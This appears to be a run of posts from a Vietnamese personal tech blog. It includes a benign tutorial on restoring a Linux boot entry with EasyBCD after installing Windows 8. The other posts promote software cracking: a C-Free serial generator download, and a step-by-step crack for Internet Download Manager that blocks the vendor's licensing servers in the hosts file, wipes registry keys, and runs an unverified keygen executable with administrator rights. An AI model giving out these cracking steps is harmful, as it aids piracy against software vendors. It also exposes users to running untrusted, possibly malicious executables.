Bước 3: Giải nén,chạy file vừa download ở trên và nhập pass administrator( nếu có yêu cầu). Sau đó bấm fix, chờ một chút cho đến khi thấy hiện thông báo.
Bước 4: Cài bản idm mới nhất down ở bước 1 về và dùng bình thường.

Tuesday, February 11, 2014

Cfree 5.0 professional serial creator by namntvn.blogspot.com

Cfree 5.0 professional serial creator by namntvn.blogspot.com
Link download: here
Enter you email and press generator.

Wednesday, February 5, 2014

How to boot to Linux partition(CenOS,Ubuntu) after install win 8 (No UEFI)

Sau đây mình sẽ hướng dẫn khôi phục menu boot vào phân vùng linux(CentOS, Ubuntu) sau khi cài Win8( không UEFI).
Vấn đề của mình:
Máy tính mình có 1 ổ cứng chia 4 phân vùng trong đó:
- C: NTFS cài win 7
- D, E : NTFS: ổ dữ liệu
- F : Phân vùng linux
- Đâu tiên mình cài Linux cho máy tính ( CentOS), vào phân vùng F, sau đó cài Win 7 vào ổ C. Khi đó phân vùng của Linux sẽ không xuất hiện trong menuboot nữa, vấn đề đó đã được mình giải quyết đơn giản bằng cách sử dụng phần mềm easybcd download tại :
https://neosmart.net/EasyBCD/.
Các bạn có thể google có rất nhiều bài viết về nó. Nhờ nó mình tạo được menuboot với 2 options :
1. Boot vào Win
2. Boot vào Linux( CentOS).
Tuy nhiên vấn đề xuất hiện khi mình quyết định cài Win 8( không UEFI, nếu bạn đã cài và muốn kiểm tra xem máy bạn cài win 8 có UEFI hay không thì có thể vào Bios xem đã disable nó chưa) thay cho win 7, và đương nhiên menuboot mới xuất hiện cũng chỉ có thể cho phép boot vào win 8. Sử dụng easybcd một lần nữa nhưng,.... tuy menuboot đã có thêm option nhưng không thể boot được vào phân vùng linux( báo lỗi khá nhiều và linh tinh). Sau khi tìm hiểu mình đã tìm ra cách để tạo được option này và boot lại vào phân vùng linux:
Bước 1:
Vẫn sử dụng EasyBCD( bản mới nhất 2.2), khởi động phần mềm với quyền administrator, click vào Add New Entry, chuyển sang tab NeoGrub

Bấm vào install, chờ một lúc khi nào thấy nó xuất hiện nút Remove là đã cài xong, bấm vào Configure, thêm vào 2 dòng sau như hình( nếu bạn dùng CentOS)

root (hd0,10)
configfile /etc/grub.conf
Nếu bạn dùng Ubuntu : 
root (hd0,10)
configfile /etc/grub.d/40_custom
Ok. Sau đó bấm Ctrl +S lưu nó lại. Khởi động lại máy tính
Bước 2:
Sau khi khởi động lại máy tính, trước khi vào win 8 nó sẽ xuất hiện thêm 1 option boot:

NeoGrub Bootloader, dùng mũi tên lên xuống để chọn nó và bấm enter. Màn hình grub sẽ xuất hiện:
Bạn gõ lệnh sau và nhấn Enter:
root (hd0,1)
Sau đó tăng dần số 1 đằng sau lên thành 2 ,3....
root (hd0,2)
Sao cho khi nào thấy xuất hiện dòng thông báo :
Filesystem type is ext2fs,... Như trong hình là sau khi mình gõ root (hd0,6). thì dừng và khởi động lại máy.
Mục đích của bước này là tìm phân vùng linux của ta xem nó nằm ở vị trí nào.
Bước 3:
Vào lại win 8, bật easybcd với quyền administrator, vào Add New Entry-> NeoGrub như các bước trên-> bấm vào configure, sửa lại dòng :
root (hd0,10)
thành
root (hd0,6)
(hd0,6) đối với máy mình, với máy các bạn lấy thông tin ở bước 2
bấm Ctrl + S để lưu lại . Khởi động lại máy, chọn option NeoGrub Bootloader là bạn đã boot vào được phân vùng linux bình thường.
Các bạn có thể chỉnh sửa lại tên option boot trong easybcd cho tiện lợi.

Monday, January 6, 2014

Hướng dẫn crack idm 6.18 build 11( bản mới nhất)

Download file tạo key tại đây:
Mật khẩu giải nén: namntvn.blogspot.com
 ( write by me and no virus, build on visual studio 2010).
Bắt đầu:
Nếu máy bạn đã cái bản cũ hoặc bị báo lỗi 30 ngày, lock key,phải  làm trước theo các bước 1 và 2, nếu không bắt đầu làm từ bước 3
Bước 1. Gỡ bỏ IDM ra khỏi máy, vào C:\Program Files. Tìm và xóa bỏ Folder Internet Download Manager. Đối với bản windown 64bit thì nó sẽ nằm ở : C:\Program Files(x86)
Bước 2. Bấm vào Start-> run. Gõ regedit.

Tìm và xóa bỏ :
- HKEY_CURENT_USER->Software. Tìm và xóa bỏ thư mục DownloadManager.
- HK_LOCAL_MACHINE->Software. Tìm và xóa bỏ thư mục InternetDownloadManager
Sau đó tắt bỏ cửa sổ registry
Bước 3. Sửa file C:/Windows/system32/drivers/etc/hosts bằng quyền administrator, thêm vào cuối file mấy dòng sau:


127.0.0.1 registeridm.com
127.0.0.1 *.registeridm.com
127.0.0.1 www.internetdownloadmanager.com
127.0.0.1 *.internetdownloadmanager.com
127.0.0.1 http://internetdownloadmanager.com/invalid_serial2.html?
Bước 4: Vào trang chủ http://www.internetdownloadmanager.com/, download bản mới nhất về cài bình thường.
Bước 5. Bật IDM lên
- Nếu nhảy luôn ra cái form yêu cầu registration:
Phần name, email : nhập sao cũng được
Phần serial : Bật file idm_keygen.exe vừa download về bấm vào generate, sau đó copy cái key đó paste vào serial number bên form registration của IDM. Bấm ok, nó hiện ra bất cứ thông báo nào thì bấm vào cancel
- Nếu không hiện ra form registration : vào thanh công cụ của idm-> registration->registration. Sau đó làm lại phần nhập như trên. Sau đó  bấm ok, nó hiện ra bất cứ thông báo nào thì bấm vào cancel.